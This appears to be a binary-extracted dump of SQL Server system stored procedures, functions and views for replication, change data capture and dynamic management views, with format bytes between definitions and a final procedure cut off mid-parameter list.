<Ni"0v@  	8create procedure sys.sp_MSprepare_sub_for_detach 
(
    @subscriber_server     sysname,
    @subscriber_db          sysname
)
as
begin
    set nocount on
    declare @detached     int
                ,@REPLICA_STATUS_BeforeRestore tinyint
    
    select @detached = 3
            ,@REPLICA_STATUS_BeforeRestore= 7
    
    -- Stage: attach and restore subscription.
    update dbo.MSreplication_restore_stage set stage_id = 2
    if @@error <> 0
        return 1

    /* Touch up the merge subscriptions for detach */
    if object_id(N'dbo.sysmergesubscriptions') is not NULL
    begin            
        /* Mark all subscriptions to have a status of detached */
        update dbo.sysmergesubscriptions 
            set status = @detached 
            where UPPER(subscriber_server) collate database_default = UPPER(@subscriber_server) collate database_default and 
                  db_name = @subscriber_db and
                  status <> @REPLICA_STATUS_BeforeRestore
        if @@error <> 0    return 1
    end
        
    if object_id(N'dbo.MSsub_identity_range') is not NULL
    begin
        -- Set range to 0 so that the attached db will get new ranges
        -- Refer to sp_MSsub_check_identity
        update dbo.MSsub_identity_range set range = 0
        if @@error <> 0
            return 1
    end    

    if object_id(N'dbo.MSsubscription_properties', 'U') is not NULL
    begin
        -- clear out all login and passwords and use integrated where possible
        update dbo.MSsubscription_properties
            set publisher_login = NULL,
                publisher_password = NULL,
                publisher_security_mode = 1,
                distributor_login = NULL,
                distributor_password = NULL,
                distributor_security_mode = 1,
                ftp_login = NULL,
                ftp_password = NULL,
                dts_package_password = NULL,
                internet_password = NULL

        -- for transactional publications reset the publisher link information
        update dbo.MSsubscription_properties
            set publisher_security_mode = -1
                ,publisherlink = NULL
                ,publisherlinkuser = NULL
        where publication_type != 2
    end
end
0E@ D8Th+0!@ g8
--
-- Name:    
--          sp_helparticle
--          
-- Description: 
--          Returns information about a publication article.  If the article
--          name is not specified, it returns information for all publication
--          articles.
--
--          For a SQL Server publication, this stored procedure is executed
--          at the Publisher on the publication database.  For a heterogeneous
--          publication, this stored procedure may be executed in any database
--          at the distributor for the associated publisher.
--  
-- Security: 
--          SQL Server publication:     'sysadmin', db_owner of publishing database, PAL
--          Heterogeneous publication:  'sysadmin', db_owner of distribution database, PAL
--
-- Returns:
--          Result set of article properties
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_helparticle
(
    @publication sysname,         /* The publication name */
    @article sysname = '%',       /* The article name */
    @returnfilter bit = 1,        /* Return filter flag */
    @publisher sysname = NULL,
    @found	int  = 0 OUTPUT
)
AS
BEGIN
    DECLARE @cmd nvarchar(4000)
	DECLARE @retcode int
	DECLARE @publisher_type sysname

    select @retcode = 0

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher			= @publisher,
													@publisher_type		= @publisher_type OUTPUT,
													@rpcheader			= @cmd OUTPUT,
													@skipSecurityCheck	= 1
													
    IF @retcode <> 0
        RETURN (@retcode)

	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT

	IF @publisher_type <> N'MSSQLSERVER'
	BEGIN
		select @cmd = @cmd + N'sys.sp_IHhelparticle'

		EXEC @retcode = @cmd
						@publication,
						@article,
						@returnfilter,
						@publisher,
						@publisher_type,
						@found OUTPUT
	END
	ELSE
	BEGIN
		select @cmd = @cmd + N'sys.sp_MSrepl_helparticle'

		EXEC @retcode = @cmd
				@publication,
				@article,
				@returnfilter,
				@publisher,
				@found OUTPUT
	END
	
    RETURN (@retcode)
END
0 8CREATE PROCEDURE sys.sp_MScheck_tran_retention
(
    @xact_seqno varbinary(16),
    @agent_id int
)
as
begin
    set nocount on

	declare @retcode tinyint	
	declare @date datetime
	declare @retention int
	declare	@expired int
	declare @publisher_database_id int

	-- Security Check
	exec @retcode = sys.sp_MScheck_pull_access @agent_id = @agent_id,	-- agent id
										        @agent_type = 0 		-- only called by distribution agent
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    
	select @publisher_database_id = publisher_database_id from MSdistribution_agents
		where id = @agent_id

	select @date = entry_time from MSrepl_transactions where
		xact_seqno = @xact_seqno and
		publisher_database_id = @publisher_database_id

	select @retention = max_distretention from msdb..MSdistributiondbs where
		name = db_name()

	if (@date is not null and datediff(minute, @date, getdate()) < @retention*60) or
		-- For 'sync with backup' dist db where
		-- the dist db might be restored to a previous version so that the subscriber's
		-- xact_seqno is larger.
	   (@date is null and not exists (select * from MSrepl_transactions where
		xact_seqno >= @xact_seqno and
		publisher_database_id = @publisher_database_id))
		select @expired = 0
	else
		select @expired = 1
	
	select N'expired' = @expired
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	+	`-
<_jJ+4A0>@ 8
CREATE VIEW INFORMATION_SCHEMA.SEQUENCES
AS
SELECT
      DB_NAME() AS SEQUENCE_CATALOG,
      SCHEMA_NAME(s.schema_id) AS SEQUENCE_SCHEMA,
      s.name AS SEQUENCE_NAME,
      ISNULL(TYPE_NAME(s.system_type_id), t.name) AS DATA_TYPE,
      s.precision AS NUMERIC_PRECISION,
      convert(smallint, CASE  -- int/money/decimal/numeric
            WHEN s.system_type_id IN (48, 52, 56, 60, 106, 108, 122, 127) THEN 10
            WHEN s.system_type_id IN (59, 62) THEN 2
            END) AS NUMERIC_PRECISION_RADIX,    -- real/float
      ODBCSCALE(s.system_type_id, s.scale) AS NUMERIC_SCALE,
      s.start_value AS START_VALUE,
      s.minimum_value AS MINIMUM_VALUE,
      s.maximum_value AS MAXIMUM_VALUE,
      s.increment AS INCREMENT,
      s.is_cycling AS CYCLE_OPTION,
      t.name AS DECLARED_DATA_TYPE,
      t.precision AS DECLARED_NUMERIC_PRECISION,
      t.scale AS DECLARED_NUMERIC_SCALE
FROM
      sys.sequences as s
      JOIN sys.types t ON s.user_type_id = t.user_type_id;
0*M? ^8create function sys.fn_isxmlcolumn(@object_id int, @column_id int)
returns bit
as
begin
    return case when exists (select * 
                            from sys.columns c 
                                inner join sys.types t 
                                    on c.system_type_id = t.system_type_id 
                            where c.object_id = @object_id 
                                and c.column_id = @column_id 
                                and lower(t.name collate SQL_Latin1_General_CP1_CS_AS) = N'xml') 
            then 1 else 0 end
end
0qH@ 8CREATE VIEW sys.dm_os_buffer_descriptors AS
	SELECT *
	FROM OpenRowset(TABLE SYSBUFFERDESCRIPTORS)
0MI 8
create procedure sys.sp_oledb_ro_usrname
as
    select
        substring('NY',is_read_only+1,1),user_name()
    from
        sys.databases
    where
        name=DB_NAME()
0aK@ 8
--
-- Name:
--		sp_MSrepl_check_publisher
--
-- Description:
--		Determine if an ad-hoc datasource is currently published.
--
-- Returns:
--		Result set:
--		Distributor that owns publisher
--		NULL if not published
--
-- Security:
--		public
--
-- Notes:
--		Used by the UI
--		Connect time out is measure in seconds (default of 60)
--

CREATE PROCEDURE sys.sp_MSrepl_check_publisher
(
	@publisher_type		sysname,
	@publisher		sysname,
	@security_mode		bit = 1,
	@login			nvarchar(255) = null,
	@password		nvarchar(255) = null,
	@connect_timeout	int = 60
)
AS
BEGIN
	DECLARE @retcode int

	IF UPPER(@publisher_type) IN ('ORACLE', 'ORACLE GATEWAY')
	BEGIN
		EXEC sys.sp_ORAcheckpublisher	@publisher,
								@security_mode,
								@login,
								@password,
								@connect_timeout
	END
	ELSE
	BEGIN
		RAISERROR(21645, 16, -1, @publisher_type)
		RETURN (1)
	END
END
0`L D8h/a+@0"V 8CREATE VIEW sys.dm_tran_active_snapshot_database_transactions AS
	SELECT 
		transaction_id,
		transaction_sequence_num,
		commit_sequence_num,
		session_id,
		is_snapshot,
		first_snapshot_sequence_num,
		max_version_chain_traversed,
		average_version_chain_traversed,
		elapsed_time_seconds
	FROM OpenRowset(TABLE DM_TRAN_ACTIVE_SNAPSHOT_DATABASE_TRANSACTIONS)
0,ca D8yhR~5S0d V8CREATE PROCEDURE sys.sp_MSadd_subserver
(
	@subscriber sysname,
	@type		int
)
WITH EXECUTE AS 'dbo'
AS
BEGIN
	DECLARE @retcode 			int,
			@dsn_subscriber 	tinyint,
			@jet_subscriber 	tinyint,
			@oledb_subscriber 	tinyint,
			@srvid				smallint

    -- Defined in sqlrepl.h
	select @dsn_subscriber = 1,
			@jet_subscriber = 2,
			@oledb_subscriber = 3,
			@srvid = NULL

	/*
	** The server may already be listed in master.dbo.sysservers, but might
	** not be marked as a subscriber yet.  If it's not in
	** master.dbo.sysservers, let's add it first.
	*/
	IF NOT EXISTS (SELECT *
	                     FROM master.dbo.sysservers
	                    WHERE LOWER(srvname collate database_default) = LOWER(@subscriber) collate database_default)
	BEGIN
		SELECT @subscriber = UPPER(@subscriber)
		EXECUTE @retcode = sys.sp_addserver @subscriber
		IF @@error <> 0 OR @retcode <> 0
		BEGIN
			-- Could not create Subscriber.
			RAISERROR (14042, 16, -1)
			RETURN 1
		END
	END
	SELECT @subscriber = sys.fn_getpersistedservernamecasevariation(@subscriber) collate database_default

	/*
	** Set the server option to indicate this is a subscriber.
	*/

	EXECUTE @retcode = sys.sp_serveroption @subscriber, 'sub', true

	IF @@error <> 0 OR @retcode <> 0
	BEGIN
		RAISERROR (14042, 16, -1)
		RETURN 1
	END
	
	/*
	** Set the server option to indicate this is a DSN subscriber.
	*/
	IF @type = @dsn_subscriber OR @type = @jet_subscriber OR @type = @oledb_subscriber
	BEGIN
		exec @retcode = sys.sp_serveroption @server = @subscriber, 
											@optname = 'nonsqlsub',
											@optvalue =  'on'
		IF @@error <> 0 or @retcode <> 0
		BEGIN
			-- Unable to mark sysservers entry '%s' as a non SQL Server subscriber.
			RAISERROR (14011, 16, -1, @subscriber)
			RETURN 1
		END		
	END

END
0M D8Hh5M,60U $8
--
-- Name:    
--          sp_IHreplflush
--          
-- Description: 
--          HREPL: Request log reader to flush cache
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success/failure
--
-- Notes:
--			This procedure is used when administering heterogeneous publications, to request a flush of the log reader cache.
--			The log reader uses this timestamp to determine whether its cache is up to date or needs to be refreshed.  This
--			procedure is typically called within a transaction that updates publication or article data that is needed by
--			the log reader to correctly process publisher data, but when no corresponding update will be applied at the
--			publisher, such as adding or dropping publications, or changing a data type mapping.  A different mechanism is 
--			used to coordinate updates to article meta data represented at both the publisher and distributor.
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_IHreplflush
(
    @publisher sysname
)
AS
BEGIN
    declare @retcode int
    declare @publisher_id int

    select @retcode = 0
    select @publisher_id = NULL

    -- Determine publisher id
    select @publisher_id = srvid 
    from master.dbo.sysservers
    where upper(srvname collate database_default) = upper(@publisher) collate database_default
    
    if @@error<>0 or @retcode <> 0 or @publisher IS NULL
    BEGIN
        RAISERROR(21618, 16, -1, @publisher)
        return(1)
    END 

    -- insert time stamp in IHpublishers to indicate when a log reader flush was requested
    update IHpublishers set flush_request_time = GetDate()
    where publisher_id = @publisher_id

    return(0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
)Y1[w`	<kSn'0 T8create procedure sys.sp_MSdroparticleconstraints (
    @destination_object sysname,
    @destination_owner sysname
    )
as
begin
    set nocount on
    declare @retcode      int,
            @objid        int,
            @constid      int,
            @drop_command nvarchar(4000),
            @qualified_tablename nvarchar(540),
            @publish_bit  int,
            @mergepublish_bit int

    
    select @retcode             = 0,
           @objid               = null,
           @constid             = null,
           @drop_command        = null,
           @qualified_tablename = null,
           @publish_bit         = 1,
           @mergepublish_bit    = 128

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@error<>0
        return 1

    -- Get object id of the target table
    select @objid = object_id 
      from sys.objects
     where name = @destination_object
       and (schema_name(schema_id) = @destination_owner 
            or @destination_owner is null 
            or @destination_owner = N'')

    -- If the object is not at the subscriber, there isn't anything we 
    -- can(or need to)  do
    if @objid is null 
        return 0

    select @qualified_tablename = 
            N'['+replace(@destination_object,N']',N']]')+N']'

    if @destination_owner is not null and @destination_owner<>N''
    begin
        select @qualified_tablename = 
            N'['+replace(@destination_owner,N']',N']]')+N'].'+@qualified_tablename
    end

    -- Skip constraint dropping for republished article
    if exists (select * 
                 from sys.tables 
                where object_id = @objid
                  and ((is_published = 1) or
                       (is_merge_published = 1)))
    begin
        return 0
    end

    declare hConst cursor local fast_forward for
     select constid 
       from sysconstraints 
      where id = @objid
      order by convert(int, objectproperty(constid,'IsForeignKey')) desc
    if @@error<>0
        return 1

    open hConst
    if @@error<>0
        return 1
    
    fetch hConst into @constid 
    while (@@fetch_status<>-1)
    begin
    
        if objectproperty(@constid,N'IsUniqueCnst') = 1 or
           objectproperty(@constid,N'IsPrimaryKey') = 1 or
           objectproperty(@constid,N'IsCheckCnst') = 1 or
           objectproperty(@constid,N'IsForeignKey') = 1
        begin
            select @drop_command = 
                N'alter table '+@qualified_tablename+' drop constraint '+ QUOTENAME(object_name(@constid))
            exec(@drop_command)
            if @@error <> 0
                return 1
        end
        fetch hConst into @constid        
    end
    close hConst
    deallocate hConst

    return @retcode

end
0@ (8
create procedure sys.sp_droppublisher (
    @publisher sysname,         /* publisher server name */
    @type nvarchar (5) = NULL      /* NULL or 'dist' */
        ) AS

    SET NOCOUNT ON
    RAISERROR (21023, 16, -1,'sp_droppublisher')
    RETURN(1)

0 
8create procedure sys.sp_MSsub_check_identity
@lower_bound_id int
as
    declare @retcode int
    declare @cmd nvarchar(1000)
    declare @objid int, @threshhold bigint, @range bigint, @next_seed bigint
    declare    @last_seed bigint, @identity_so_far bigint, @threshold int
    declare @table_name sysname
    declare @qualname nvarchar(517)

    --  Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
    RETURN(1)

    -- This proc will be called by distribution agent called repeatedly until
    -- one result returned
    if object_id('MSsub_identity_range') is not NULL
    begin
        while 1 = 1
        begin
            select @objid = null
            select top 1 @objid = objid from MSsub_identity_range where
                objid > @lower_bound_id 
                order by objid ASC
            if @objid is null
                break

            select @lower_bound_id = @objid
            -- Since we don't always clean up the subscriber, Skipping invalid entry.
            if object_name(@objid) is null 
                continue
            if objectproperty(@objid, 'TableHasIdentity') <> 1
                continue

            exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT

            select @range = range, @last_seed = last_seed, @threshold = threshold from 
                MSsub_identity_range where objid=@objid
                
            if @range = 0
                -- First time after initial bcp, always request a new range
                -- return this object
                break
            else
            begin                 

                -- Leave one slot unused. This is to prevent violation of primary key constraint
                -- if the next value is used by a subscriber and the publisher has received it.
                -- It seems the pk constraint will be validated before this check.
                declare @actual_range int
                if @range > 0
                    select @actual_range = @range - 1
                else
                    select @actual_range = @range + 1

                select @identity_so_far = isnull(ident_current(@qualname), ident_seed(@qualname))

                if 100*(@identity_so_far - @last_seed)/@actual_range >= @threshold
                    -- Need new range
                    break
            end

            select @lower_bound_id = @objid
        end
    end
    select @table_name = object_name(@objid)            

    -- Return nothing if @table_name is null, which means no more table needs to be adjust
    select 'objid' = @objid, 'table_name' = @table_name where @objid is not null    
0 8create function sys.fn_MSis_col_replicated 
	(@publication sysname, 
    @article sysname, 
    @coltype nvarchar(10) = 'timestamp'  -- identity or timestamp or rowguid
    )
returns sysname
as
begin
    declare @colname sysname
    			,@tabid int
    			
    select @colname = NULL, @tabid = objid from sysarticles sa, syspublications sp
        where sa.name = @article and sa.pubid = sp.pubid and sp.name = @publication

    if (@coltype = 'timestamp') and (ObjectProperty(@tabid, 'TableHasTimestamp') = 1) 
    begin
        select @colname = sc.name from sys.columns sc, sysarticlecolumns sac, sysarticles sa, syspublications sp
        where sp.name = @publication and
              sa.pubid = sp.pubid and 
              sa.name = @article and
              sc.object_id = sa.objid and 
              sac.artid = sa.artid and 
              sc.column_id = sac.colid and 
              type_name(sc.system_type_id) = 'timestamp'
    end
    else if (@coltype = 'identity') and (ObjectProperty(@tabid, 'TableHasIdentity') = 1)
    begin
        select @colname = sc.name from sys.columns sc, sysarticlecolumns sac, sysarticles sa, syspublications sp
        where sp.name = @publication and
              sa.pubid = sp.pubid and 
              sa.name = @article and
              sc.object_id = sa.objid and 
              sac.artid = sa.artid and 
              sc.column_id = sac.colid and 
              sc.is_identity = 1
    end
    else if (@coltype = 'rowguid') and (ObjectProperty(@tabid, 'TableHasRowGuid') = 1 )
    begin
        select @colname = sc.name from sys.columns sc, sysarticlecolumns sac, sysarticles sa, syspublications sp
        where sp.name = @publication and
              sa.pubid = sp.pubid and 
              sa.name = @article and
              sc.object_id = sa.objid and 
              sac.artid = sa.artid and 
              sc.column_id = sac.colid and 
              sc.is_rowguidcol = 1
     
    end
    return @colname
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`#<loP0X 8create procedure sys.sp_check_sync_trigger
(
    @trigger_procid int
    ,@trigger_op char(10) OUTPUT
    ,@owner sysname = null
)
as
begin
    declare @trigid int
    --
    -- Security check
    -- Make sure this proc is infact being called from the given object(trigger)
    -- 
    if (trigger_nestlevel(@trigger_procid) = 0)
    begin
        raiserror(14126, 16, 2)
        return -1
    end
    --
    -- Security check: the caller of this SP has to be one of the 
    -- predefined replication triggers defined in the db
    --
    if not exists (select so.object_id from (dbo.MSreplication_objects as ro join sys.objects as so
        on ro.object_name = so.name)
        where so.object_id = @trigger_procid and ro.object_type = 'T' 
        and (@owner is null or schema_name(so.schema_id) = @owner))
    begin
        raiserror(14126, 16, 3)
        return -1
    end
    --
    -- process
    --
    select @trigger_op = NULL
    select @trigid = so1.object_id from sys.objects so1, sys.objects so2 where
        so1.type = N'TR' and so1.name like N'trg_MSsync_ins_%' and so1.parent_object_id = so2.parent_object_id
        and so2.object_id = @trigger_procid
    
    -- if nestlevel of insert trigger on same table > 0 then bail
    if trigger_nestlevel( @trigid ) > 0
         return 1
    else
        return 0
end
0
` 88\5I0]@ 8
--
-- Name:    
--          sp_helparticlecolumns
--          
-- Description: 
--          Returns information about an article's columns.  
--
--          For a SQL Server publication, this stored procedure is executed
--          at the Publisher on the publication database.  For a heterogeneous
--          publication, this stored procedure may be executed in any database
--          at the distributor for the associated publisher.
--  
-- Security: 
--          SQL Server publication:     'sysadmin', db_owner of publishing database, PAL
--          Heterogeneous publication:  'sysadmin', db_owner of distribution database, PAL
--
-- Returns:
--          Result set of article properties
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_helparticlecolumns
(
	@publication	sysname,
	@article		sysname,
	@publisher		sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type	= @publisher_type OUTPUT,
													@rpcheader		= @cmd OUTPUT

	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_helparticlecolumns'

	EXEC @retcode = @cmd
					@publication,
					@article,
					@publisher,
					@publisher_type,
					0

	RETURN (@retcode)
END
0Z 88}vb	0Lo 8
create function sys.fn_cdc_index_required
(
	@object_id int,
	@object_name sysname
)
returns bit
as
begin

	if object_id('cdc.change_tables') is not NULL
	begin
		if exists
		(	
			select top 1 index_name from cdc.change_tables with (index = source_object_id_idx)
			where source_object_id = @object_id
			and index_name = @object_name
		)
		begin
			return 1
		end			  
	end
	return 0	
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!X `<Om.0 8CREATE FUNCTION sys.dm_cryptographic_provider_algorithms
	(
	@ProviderId			INT			= 0
	)
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET
		(
		TABLE DM_CRYPTO_PROVIDER_ALGORITHMS, 
		@ProviderId
		)
0S@ 8--
-- Name: sp_MSinstance_qv
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSinstance_qv @qv varchar(10)
as
begin
    set nocount on
    declare @qv_value int
                ,@instance_name varchar(257)
    select @instance_name = cast(serverproperty('instancename') as varchar(257))
    if @instance_name is null
        exec @qv_value = master.dbo.xp_qv @qv    
    else
    begin
        exec @qv_value = master.dbo.xp_qv @qv, @instance_name
    end
    return @qv_value
end
0 	8
--
-- Name:    
--          sp_IHCheckPublisherLogin
--          
-- Description: 
--          Verify a linked server login mapping exists for the specified
--			login
--
-- Input/Output:
--			@publisher	Publisher server with a linked server to
--						check logins for.  Returns server name in
--						same case as it is stored in sysservers.
--						This is useful to make sure that it is in
--						the correct case for usage in distributed
--						query operations
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          1 == No login mapping exists
--			0 == Login mapping exists
--

CREATE PROCEDURE sys.sp_IHCheckPublisherLogin
(
	@publisher sysname OUTPUT
)
AS
BEGIN
    DECLARE @retcode int

    -- Find linked server name (with correct case setting)
	SELECT	@publisher = srvname
	FROM	master.sys.sysservers
	WHERE	UPPER(srvname  collate database_default) = UPPER(@publisher) collate database_default

	-- Verify linked server exists
	IF @publisher IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Verify login mapping exists for publisher admin account
	IF NOT EXISTS
	(
		SELECT	principal_id
		FROM	master.sys.server_principals sp,
				master.sys.linked_logins ll,
				master.sys.servers s,
				msdb.dbo.MSdistpublishers msdp
		WHERE	sp.principal_id	= ll.local_principal_id
		  AND	s.server_id		= ll.server_id
		  AND	ll.remote_name	= msdp.login
		  AND	UPPER(s.name collate database_default)	= UPPER(msdp.name collate database_default)
		  AND	UPPER(s.name collate database_default)	= UPPER(@publisher) collate database_default
		  AND	sp.name			= SUSER_SNAME(0x01)
		UNION
		SELECT	principal_id
		FROM	master.sys.server_principals sp,
				master.sys.linked_logins ll,
				master.sys.servers s,
				msdb.dbo.MSdistpublishers msdp
		WHERE	sp.principal_id			= ll.local_principal_id
		  AND	s.server_id				= ll.server_id
		  AND	ll.uses_self_credential	= 1
		  AND	msdp.security_mode		= 1
		  AND	UPPER(s.name collate database_default)	= UPPER(msdp.name collate database_default)
		  AND	UPPER(s.name collate database_default)	= UPPER(@publisher) collate database_default
		  AND	sp.name			= SUSER_SNAME(0x01)
	)
        BEGIN
        	DECLARE @login sysname
        	SET @login = suser_sname()
        	RAISERROR(21681, 16, -1, @login, @publisher)
        	RETURN (1)
        END
            
	RETURN (0)
END
0y 8create procedure sys.sp_MSflush_access_cache
AS
    -- Delete all the 'dead' connections in MSpublisher_access.
    
    if exists (select * from tempdb.sys.objects where name = 'MSdistributor_access' and
    type = 'U')
    begin
        -- Delete all the 'dead' connections in MSdistributor_access.
        delete tempdb.dbo.MSdistributor_access 
		from tempdb.dbo.MSdistributor_access a
		left outer join sys.dm_exec_sessions dm 
			on a.spid = dm.session_id
			and a.login_time = dm.login_time 
		where dm.session_id is null

        if @@error <> 0
            return 1
        else
            return 0
    end
    return (0)
0 	8
CREATE PROCEDURE sys.sp_IHadd_sync_command
(
	@publisher_id		smallint = NULL,
	@publisher_db		sysname,
	@xact_id			varbinary(16) = 0x0,
	@xact_seqno			varbinary(16) = 0x0,
	@originator			sysname = NULL,
	@originator_db		sysname = NULL,
	@article_id			int = NULL,
	@command_id			int = 1,
